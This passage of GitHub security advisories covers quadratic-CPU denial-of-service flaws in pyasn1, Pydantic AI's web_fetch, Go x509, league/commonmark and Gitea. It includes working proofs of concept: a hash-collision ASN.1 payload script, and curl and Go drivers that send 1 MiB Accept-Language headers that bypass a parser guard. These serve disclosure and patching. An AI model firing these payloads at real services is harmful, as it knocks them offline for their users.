"details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n groups = [tag_id \u0026 0x7f]\n tag_id \u003e\u003e= 7\n while tag_id:\n groups.append((tag_id \u0026 0x7f) | 0x80)\n tag_id \u003e\u003e= 7\n return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n for tag_id in tag_ids)\n length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n cases = (\n (\"collision\", [32 + i * sys.hash_info.modulus\n for i in range(count)]),\n (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n )\n for name, tag_ids in cases:\n wire = payload(tag_ids)\n start = time.process_time()\n value, remainder = decoder.decode(wire)\n cpu_seconds = time.process_time() - start\n\n assert type(value) is univ.Sequence\n assert len(value) == count and remainder == b\u0027\u0027\n for position, tag_id in enumerate(tag_ids):\n component = value.getComponentByPosition(position)\n assert component.asOctets() == b\u0027A\u0027\n assert component.tagSet[-1].tagId == tag_id\n\n print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
"id": "GHSA-fm9c-5rcf-2q5p",
"modified": "2026-10-30T23:03:37Z",
"published": "2026-10-30T23:03:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/pull/132"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyasn1/pyasn1"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding"
}
GHSA-FPF4-VWCP-V4HP
Vulnerability from github – Published: 2026-10-08 16:48 – Updated: 2026-10-08 16:48Summary
The local web-fetch tool (web_fetch_tool, also used as the WebFetch capability's local fallback) processed responses with several steps whose running time grows quadratically with the size of certain server-controlled inputs, and ran them on the event loop: decoding the body with whichever charset the server declared, extracting the page title with a backtracking regular expression, and converting the HTML to markdown. An application that exposes this tool to untrusted prompts can be steered to fetch an attacker-controlled page of a megabyte or two that blocks the event loop for minutes, stalling every other coroutine in the process — other agent runs, other requests being served — for the duration.
This is an availability issue only. SSRF protections and the download size limit introduced in GHSA-v2xh-2vp8-57h8 are unaffected; that limit bounds how much is downloaded, not how long the response takes to process.
Details
Title extraction used a backtracking pattern over the raw response body, so a body made of repeated unterminated tag openings cost time proportional to the square of its size. The HTML-to-markdown conversion had the same shape in three of its steps: normalizing whitespace, stripping preformatted blocks, and numbering ordered lists all took time proportional to the square of a run of spaces or a list's length. All of it ran on the event loop, and the regex steps hold the interpreter lock even when moved off it, so the whole process paid for the size of a server-controlled response.
The response body was also decoded on the event loop with the codec named by the charset parameter of the response's Content-Type, looked up in Python's codec registry. That registry includes punycode, whose decoder takes time proportional to the square of its input: a response of about one megabyte labelled charset=punycode blocked the event loop for roughly half a minute, with no HTML required. The registry also includes codecs that aren't text encodings at all, such as rot_13 and base64_codec; a response labelled with one of those raised an unexpected exception out of the tool, aborting the agent run that fetched it.
Separately, the HTML-to-markdown conversion recursed once per nested element, so a page nested a few hundred elements deep raised a RecursionError out of the tool, aborting the agent run that fetched it. A JSON response nested deeper than the interpreter allows did the same. These only affect that one run.
Who Is Affected
You are affected if your application registers the local web-fetch tool (or relies on the WebFetch capability's local fallback) and exposes the agent to untrusted prompts. allowed_domains narrows the exposure to pages on those domains but does not remove it. Applications that only fetch developer-controlled URLs are not exposed to the model-chosen attack path.
Remediation
Upgrade to a patched version. The title is now found with a single linear scan, the conversion steps above run in linear time, and decoding, title extraction and conversion all run in a worker thread. A charset naming a codec that isn't a text encoding, and a page too deeply nested to convert, are reported back to the model as a failed fetch instead of aborting the run; a JSON body too deeply nested to parse is returned as plain text.
Credits
Reported privately by @BrianWillows, whose report covered the quadratic title extraction. The response decoding, the codecs that are not text encodings, and the quadratic steps in the HTML-to-markdown conversion were found while fixing it.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai"
},
"ranges": [
{
"events": [
{
"introduced": "1.77.0"
},
{
"fixed": "1.107.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0b1"
},
{
"fixed": "2.44.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai-slim"
},
"ranges": [
{
"events": [
{
"introduced": "1.77.0"
},
{
"fixed": "1.107.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai-slim"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0b1"
},
{
"fixed": "2.44.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107290"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T16:48:25Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe local web-fetch tool (`web_fetch_tool`, also used as the `WebFetch` capability\u0027s local fallback) processed responses with several steps whose running time grows quadratically with the size of certain server-controlled inputs, and ran them on the event loop: decoding the body with whichever charset the server declared, extracting the page title with a backtracking regular expression, and converting the HTML to markdown. An application that exposes this tool to untrusted prompts can be steered to fetch an attacker-controlled page of a megabyte or two that blocks the event loop for minutes, stalling every other coroutine in the process \u2014 other agent runs, other requests being served \u2014 for the duration.\n\nThis is an **availability** issue only. SSRF protections and the download size limit introduced in GHSA-v2xh-2vp8-57h8 are unaffected; that limit bounds how much is downloaded, not how long the response takes to process.\n\n### Details\n\nTitle extraction used a backtracking pattern over the raw response body, so a body made of repeated unterminated tag openings cost time proportional to the square of its size. The HTML-to-markdown conversion had the same shape in three of its steps: normalizing whitespace, stripping preformatted blocks, and numbering ordered lists all took time proportional to the square of a run of spaces or a list\u0027s length. All of it ran on the event loop, and the regex steps hold the interpreter lock even when moved off it, so the whole process paid for the size of a server-controlled response.\n\nThe response body was also decoded on the event loop with the codec named by the `charset` parameter of the response\u0027s `Content-Type`, looked up in Python\u0027s codec registry. That registry includes `punycode`, whose decoder takes time proportional to the square of its input: a response of about one megabyte labelled `charset=punycode` blocked the event loop for roughly half a minute, with no HTML required. The registry also includes codecs that aren\u0027t text encodings at all, such as `rot_13` and `base64_codec`; a response labelled with one of those raised an unexpected exception out of the tool, aborting the agent run that fetched it.\n\nSeparately, the HTML-to-markdown conversion recursed once per nested element, so a page nested a few hundred elements deep raised a `RecursionError` out of the tool, aborting the agent run that fetched it. A JSON response nested deeper than the interpreter allows did the same. These only affect that one run.\n\n### Who Is Affected\n\nYou are affected if your application registers the local web-fetch tool (or relies on the `WebFetch` capability\u0027s local fallback) and exposes the agent to untrusted prompts. `allowed_domains` narrows the exposure to pages on those domains but does not remove it. Applications that only fetch developer-controlled URLs are not exposed to the model-chosen attack path.\n\n### Remediation\n\nUpgrade to a patched version. The title is now found with a single linear scan, the conversion steps above run in linear time, and decoding, title extraction and conversion all run in a worker thread. A charset naming a codec that isn\u0027t a text encoding, and a page too deeply nested to convert, are reported back to the model as a failed fetch instead of aborting the run; a JSON body too deeply nested to parse is returned as plain text.\n\n### Credits\n\nReported privately by @BrianWillows, whose report covered the quadratic title extraction. The response decoding, the codecs that are not text encodings, and the quadratic steps in the HTML-to-markdown conversion were found while fixing it.",
"id": "GHSA-fpf4-vwcp-v4hp",
"modified": "2026-10-08T16:48:26Z",
"published": "2026-10-08T16:48:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-fpf4-vwcp-v4hp"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8397"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8399"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8418"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8433"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8434"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/2faa6181d8a17d83bc9516d035c5270db8730fa0"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/9cdc952e4c3319e85a3e04f2de49fbbb765bd38b"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/a93ea5226be1e93ae13131ae3f22287190411389"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/c3fd1cc1f15fdbf750d78e4e3ec1e8b4d6a3d920"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/fb92ccfc3ca2735dab877e2ed73856681bf72ad1"
},
{
"type": "PACKAGE",
"url": "https://github.com/pydantic/pydantic-ai"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/releases/tag/v1.107.6"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/releases/tag/v2.44.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pydantic AI: Event loop blocked by quadratic title extraction in `web_fetch`"
}
GHSA-FRHW-MQJ2-WXW2
Vulnerability from github – Published: 2025-10-30 00:31 – Updated: 2025-11-05 00:31Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.
{
"affected": [],
"aliases": [
"CVE-2025-58187"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-29T23:16:19Z",
"severity": "MODERATE"
},
"details": "Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.",
"id": "GHSA-frhw-mqj2-wxw2",
"modified": "2025-11-05T00:31:31Z",
"published": "2025-10-30T00:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58187"
},
{
"type": "WEB",
"url": "https://go.dev/cl/709854"
},
{
"type": "WEB",
"url": "https://go.dev/issue/75681"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4007"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/10/08/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FV22-86FQ-C33Q
Vulnerability from github – Published: 2026-09-09 15:35 – Updated: 2026-09-09 15:35league/commonmark versions before 2.6.0 contain polynomial time complexity vulnerabilities in Markdown parsing that allow attackers to cause denial of service. Attackers can submit carefully crafted Markdown inputs designed to trigger worst-case performance, and sending multiple requests in parallel exhausts CPU resources and PHP-FPM processes.
{
"affected": [],
"aliases": [
"CVE-2024-58382"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T14:17:10Z",
"severity": "HIGH"
},
"details": "league/commonmark versions before 2.6.0 contain polynomial time complexity vulnerabilities in Markdown parsing that allow attackers to cause denial of service. Attackers can submit carefully crafted Markdown inputs designed to trigger worst-case performance, and sending multiple requests in parallel exhausts CPU resources and PHP-FPM processes.",
"id": "GHSA-fv22-86fq-c33q",
"modified": "2026-09-09T15:35:10Z",
"published": "2026-09-09T15:35:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-c2pc-g5qf-rfrf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58382"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/league-commonmark-before-2.6.0-denial-of-service-via-quadratic-complexity"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FW57-JGCH-PGF3
Vulnerability from github – Published: 2026-07-21 21:15 – Updated: 2026-07-21 21:15Summary
The Locale middleware that runs in front of every unauthenticated request
calls golang.org/x/text/language.ParseAcceptLanguage on the raw
Accept-Language header without imposing a size or shape filter. The
underlying parser has quadratic-time behaviour on long lists of malformed
language tags. The CVE-2022-32149 guard that golang.org/x/text added in
v0.3.8 caps the number of - characters in the input at 1000, but it does
not cap _ characters even though the parser's internal scanner aliases
_ to - before parsing. A single unauthenticated GET request with an
Accept-Language header built out of _ separators burns ~2 seconds of
server CPU on the host running Gitea; ten concurrent attackers saturate a
ten-core box for the duration of the attack while consuming ~1 MiB of
upstream bandwidth per request.
Affected versions
code.gitea.io/gitea 1.22.6 and (per code inspection of main) all
earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that
do not impose their own size limit on the Accept-Language header before
calling ParseAcceptLanguage. Verified on:
- the official
gitea/gitea:1.22.6docker image (E2E below) mainat commit6f4027a6be28c876c0abaf37cc939658645b78a3by readingmodules/web/middleware/locale.go(the call site at line 38 is unchanged onmain)
Privilege required
Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.
Vulnerable code
modules/web/middleware/locale.go:38
(blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):
// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
tag := translation.Match(tags...)
lang = tag.String()
}
req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default
Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not
override it, so the parser is allowed to receive up to a megabyte of
attacker-controlled data.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters
and rejecting inputs with more than 1000 of them. The guard does not count
_ characters even though the scanner converts _ to - at parse time
(golang.org/x/text/internal/language/parse.go).
A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens
contains zero - characters, passes the guard, and then drives the
scanner into the O(N²) gobble path. The fix author of CVE-2022-32149
treated - as the canonical separator; the _ alias was added in 2013,
nine years before the fix.
How Accept-Language reaches ParseAcceptLanguage
Every Gitea HTTP request passes through Locale as it is wired up via
the global request pipeline (Gitea registers the middleware on its router
in routers/web/web.go). The middleware sequence is:
- The request enters
Locale(resp, req). req.URL.Query().Get("lang")returns "" (attacker omitslang).req.Cookie("lang")returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie).req.Header.Get("Accept-Language")returns the full attacker-supplied header value.language.ParseAcceptLanguage(...)runs unfiltered.
No size or character class filter is applied between (4) and (5).
Proof of concept
Single-line bash reproducer that crafts the malicious header and
times one request against a fresh gitea/gitea:1.22.6 container:
docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:13000/
Each 9-character _abcdefghi token has length 9, which fails the
scanner's len <= 8 tag-length check at
golang.org/x/text/internal/language/parse.go and triggers a gobble
call that runtime.memmoves the entire remaining buffer. With N invalid
tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against gitea/gitea:1.22.6)
A Go driver poc.go that boots the container, sends a 1 MiB
Accept-Language value once with - (CVE-2022-32149 guard fires) and
once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:13000/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}
Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the
official gitea/gitea:1.22.6 image with no other tuning):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.
Target: http://127.0.0.1:13000/
warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms
guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms
attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042s
Interpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 1 - 7 ms |
1 MiB - separators (CVE-2022-32149 guard fires) |
1 MiB | 26 ms |
1 MiB _ separators (guard bypassed) |
1 MiB | 1.7 - 2.2 s |
The - control proves that the existing CVE-2022-32149 guard does still
work on the canonical separator: a 1 MiB - payload returns in 26 ms
because the parser short-circuits with ErrTagListTooLarge. The _
attack returns 200 from the same endpoint but consumes ~2 s of server
CPU because the guard did not fire and the quadratic scanner ran to
completion.
Impact
- One unauthenticated client can pin one CPU core for ~2 seconds per 1 MiB request.
- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Gitea instance indefinitely.
- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
- Self-hosted Gitea installations published to the public internet (the common pattern) are exposed.
Suggested fix
Apply the size / character-class filter before reaching
ParseAcceptLanguage. The smallest change that preserves the existing
behaviour for legitimate Accept-Language headers is to count _
alongside - and short-circuit when the total exceeds a small ceiling:
// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values
if len(lang) == 0 {
al := req.Header.Get("Accept-Language")
if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
al = ""
}
tags, _, _ := language.ParseAcceptLanguage(al)
tag := translation.Match(tags...)
lang = tag.String()
}
A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future
upstream fix is the right long-term solution; the change above is
defensive in depth at the only call site that consumes attacker input.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58436"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:15:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Locale middleware that runs in front of every unauthenticated request\ncalls `golang.org/x/text/language.ParseAcceptLanguage` on the raw\n`Accept-Language` header without imposing a size or shape filter. The\nunderlying parser has quadratic-time behaviour on long lists of malformed\nlanguage tags. The CVE-2022-32149 guard that golang.org/x/text added in\nv0.3.8 caps the number of `-` characters in the input at 1000, but it does\nnot cap `_` characters even though the parser\u0027s internal scanner aliases\n`_` to `-` before parsing. A single unauthenticated GET request with an\n`Accept-Language` header built out of `_` separators burns ~2 seconds of\nserver CPU on the host running Gitea; ten concurrent attackers saturate a\nten-core box for the duration of the attack while consuming ~1 MiB of\nupstream bandwidth per request.\n\n### Affected versions\n\n`code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all\nearlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that\ndo not impose their own size limit on the `Accept-Language` header before\ncalling `ParseAcceptLanguage`. Verified on:\n\n- the official `gitea/gitea:1.22.6` docker image (E2E below)\n- `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading\n `modules/web/middleware/locale.go` (the call site at line 38 is unchanged\n on `main`)\n\n### Privilege required\n\nUnauthenticated. The Locale middleware runs for every HTTP request\nincluding the landing page and the sign-in page.\n\n### Vulnerable code\n\n[`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38)\n(blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`):\n\n```go\n// 3. Get language information from \u0027Accept-Language\u0027.\n// The first element in the list is chosen to be the default language automatically.\nif len(lang) == 0 {\n tags, _, _ := language.ParseAcceptLanguage(req.Header.Get(\"Accept-Language\"))\n tag := translation.Match(tags...)\n lang = tag.String()\n}\n```\n\n`req.Header.Get(\"Accept-Language\")` is the unfiltered HTTP header. Default\nGo `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Gitea does not\noverride it, so the parser is allowed to receive up to a megabyte of\nattacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters\nand rejecting inputs with more than 1000 of them. The guard does not count\n`_` characters even though the scanner converts `_` to `-` at parse time\n([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).\nA 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens\ncontains zero `-` characters, passes the guard, and then drives the\nscanner into the O(N\u00b2) `gobble` path. The fix author of CVE-2022-32149\ntreated `-` as the canonical separator; the `_` alias was added in 2013,\nnine years before the fix.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery Gitea HTTP request passes through `Locale` as it is wired up via\nthe global request pipeline (Gitea registers the middleware on its router\nin `routers/web/web.go`). The middleware sequence is:\n\n1. The request enters `Locale(resp, req)`.\n2. `req.URL.Query().Get(\"lang\")` returns \"\" (attacker omits `lang`).\n3. `req.Cookie(\"lang\")` returns nil on a fresh client (attacker uses a\n fresh client, or simply does not send the cookie).\n4. `req.Header.Get(\"Accept-Language\")` returns the full attacker-supplied\n header value.\n5. `language.ParseAcceptLanguage(...)` runs unfiltered.\n\nNo size or character class filter is applied between (4) and (5).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and\ntimes one request against a fresh `gitea/gitea:1.22.6` container:\n\n```bash\ndocker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6\nsleep 8\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n -H \"Accept-Language: ${PAYLOAD}\" \\\n http://127.0.0.1:13000/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the\nscanner\u0027s `len \u003c= 8` tag-length check at\n`golang.org/x/text/internal/language/parse.go` and triggers a `gobble`\ncall that `runtime.memmove`s the entire remaining buffer. With N invalid\ntokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `gitea/gitea:1.22.6`)\n\nA Go driver `poc.go` that boots the container, sends a 1 MiB\n`Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and\nonce with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:13000/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n const tok = \"abcdefghi\"\n var b strings.Builder\n b.Grow(targetBytes + 16)\n b.WriteString(\"en\")\n for b.Len()+1+len(tok) \u003c= targetBytes {\n b.WriteString(sep)\n b.WriteString(tok)\n }\n return b.String()\n}\n\nfunc send(label, header string) {\n client := \u0026http.Client{\n Timeout: 60 * time.Second,\n Transport: \u0026http.Transport{\n DisableKeepAlives: true,\n DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n },\n }\n req, _ := http.NewRequest(\"GET\", targetURL, nil)\n if header != \"\" {\n req.Header.Set(\"Accept-Language\", header)\n }\n t0 := time.Now()\n resp, err := client.Do(req)\n dt := time.Since(t0)\n if err != nil {\n fmt.Printf(\" %-32s ERR after %v: %v\\n\", label, dt, err)\n return\n }\n _, _ = io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n fmt.Printf(\" %-32s header=%d B \u0027_\u0027=%d \u0027-\u0027=%d status=%d t=%v\\n\",\n label, len(header),\n strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n resp.StatusCode, dt)\n}\n\nfunc main() {\n send(\"warm-up\", \"\")\n send(\"baseline (no header)\", \"\")\n send(\"baseline (1 short tag)\", \"en-US\")\n send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n send(\"attack (\u0027_\u0027 x 1MiB)\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 2\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 3\", buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the\nofficial `gitea/gitea:1.22.6` image with no other tuning):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\ngo-gitea/gitea 1.22.6 Locale middleware at\nmodules/web/middleware/locale.go:38.\n\nTarget: http://127.0.0.1:13000/\n\n warm-up (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=18.079666ms\n\n--- measurements (single request each) ---\n baseline (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=6.480333ms\n baseline (1 short tag) header=5 B \u0027_\u0027=0 \u0027-\u0027=1 status=200 t=5.0455ms\n guard-fires control (\u0027-\u0027 x 1MiB) header=1048572 B \u0027_\u0027=0 \u0027-\u0027=104857 status=200 t=26.020625ms\n attack (\u0027_\u0027 x 1MiB) header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=2.159538333s\n attack 